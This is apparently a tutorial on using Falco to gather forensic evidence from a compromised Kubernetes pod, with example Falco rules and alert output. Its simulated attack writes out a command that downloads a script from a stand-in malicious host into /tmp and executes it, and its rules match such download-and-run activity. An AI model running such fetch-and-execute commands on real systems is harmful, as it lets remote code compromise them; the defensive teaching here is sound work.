Falco’s runtime security capabilities can be a game-changer for collecting forensic evidence after a security incident.
Let’s see Falco in action. Imagine a Kubernetes cluster where a pod has been compromised. We want to understand what happened, what files were accessed, and what commands were run.
Here’s a simplified scenario. We have a deployment running a web server.
apiVersion: apps/v1
kind: Deployment
metadata:
name: webserver
spec:
replicas: 1
selector:
matchLabels:
app: webserver
template:
metadata:
labels:
app: webserver
spec:
containers:
- name: nginx
image: nginx:latest
ports:
- containerPort: 80
Now, let’s simulate an attack. We’ll exec into the pod and try to download a suspicious file and execute it.
First, get a shell into the pod:
kubectl exec -it <webserver-pod-name> -- /bin/bash
Inside the pod, simulate downloading and executing a malicious script:
curl http://malicious-site.com/evil.sh -o /tmp/evil.sh
chmod +x /tmp/evil.sh
/tmp/evil.sh
Meanwhile, Falco, running on the Kubernetes node or as a daemonset, is capturing these events. Its rules engine, configured to detect suspicious activity, will fire.
Let’s look at a typical Falco rule that would catch this:
- rule: Suspicious shell activity
desc: Detect execution of shell scripts from /tmp or write to sensitive directories.
condition: >
(
(proc.name = "sh" or proc.name = "bash" or proc.name = "dash") and
proc.args contains "/tmp/" and proc.args contains ".sh" and proc.args contains "-c"
) or
(
(proc.name = "curl" or proc.name = "wget") and
proc.args contains "http" and proc.args contains "-o" and proc.args contains "/tmp/"
)
output: "Suspicious shell activity detected: shell=%proc.name command=%proc.cmdline file=%proc.args"
priority: CRITICAL
When the curl command to download evil.sh and the subsequent execution of /tmp/evil.sh happen, Falco will generate an alert. This alert can be logged, sent to a SIEM, or even trigger automated responses.
The output from Falco might look something like this:
{
"output": "10:37:05.123456789: Critical (1000) Suspicious shell activity detected: shell=curl command=curl http://malicious-site.com/evil.sh -o /tmp/evil.sh file=/tmp/evil.sh",
"priority": "CRITICAL",
"rule": "Suspicious shell activity",
"time": "2023-10-27T10:37:05.123456789Z",
"output_fields": {
"container.id": "abcdef1234567890",
"container.name": "webserver-xyz",
"k8s.pod.name": "webserver-xyz-abc",
"proc.cmdline": "curl http://malicious-site.com/evil.sh -o /tmp/evil.sh",
"proc.name": "curl",
"proc.ppid": 1234,
"user.name": "root"
}
}
This alert provides immediate context: the command executed, the process name, the container it ran in, and the user.
Now, let’s build the mental model. Falco operates by tapping into the Linux kernel’s audit subsystem (or eBPF). It intercepts system calls and analyzes them against a set of predefined rules. These rules are written in a declarative YAML format and can detect a wide range of behaviors, from a process spawning a shell to network connections to unexpected file modifications.
For forensics, the key is Falco’s ability to capture all relevant system calls and user activity before an attacker can cover their tracks. When an incident occurs, you can retroactively analyze Falco’s audit logs or, more powerfully, use Falco’s "rules" to trigger detailed event recording of specific activities.
Consider the proc.cmdline, fd.name, net.addr, and user.name output fields. These are your breadcrumbs. If you see a suspicious process (proc.name) being executed with specific arguments (proc.cmdline), and it’s writing to a file (fd.name) or making a network connection (net.addr), you have the exact sequence of events.
The real power for forensics comes from configuring Falco to capture more than just alerts. You can set up rules that, upon detecting an anomaly, log the full command line, the parent process ID, the user, the file descriptors opened, and even network connections. This detailed capture allows you to reconstruct the attacker’s actions with high fidelity.
For example, a rule designed for forensic capture might look like this:
- rule: Capture all network activity from suspicious pods
desc: Log all network connection attempts from pods that show unusual behavior.
condition: >
container.id exists and
(
net.port in (80, 443) or
net.protocol = "tcp"
)
output: "Network activity: proto=%net.protocol proto_num=%net.protocol_num src_ip=%evt.remote_addr:%evt.remote_port dst_ip=%evt.local_addr:%evt.local_port image=%container.image.repository:%container.image.tag container=%container.name pod=%k8s.pod.name user=%user.name cmdline=%proc.cmdline"
priority: INFO
append: true # Appends to the existing output, not overwrites
enabled: true
This rule, set to INFO priority and enabled: true, will log every network connection made by any container. If you later find evidence of a compromised pod, you can sift through these logs to see precisely what it communicated with.
The one thing most people don’t realize is that Falco’s default rules are just a starting point. The true forensic value lies in custom-crafting rules to capture the specific types of system calls and process behaviors that are most indicative of compromise in your environment. This means understanding your baseline normal activity and then defining what constitutes an anomaly worth deep investigation. You can also configure Falco to write its audit logs to a persistent, off-cluster location for long-term retention.
After you’ve captured all network activity and suspicious shell executions, the next thing you’ll likely want to investigate is unauthorized file modifications.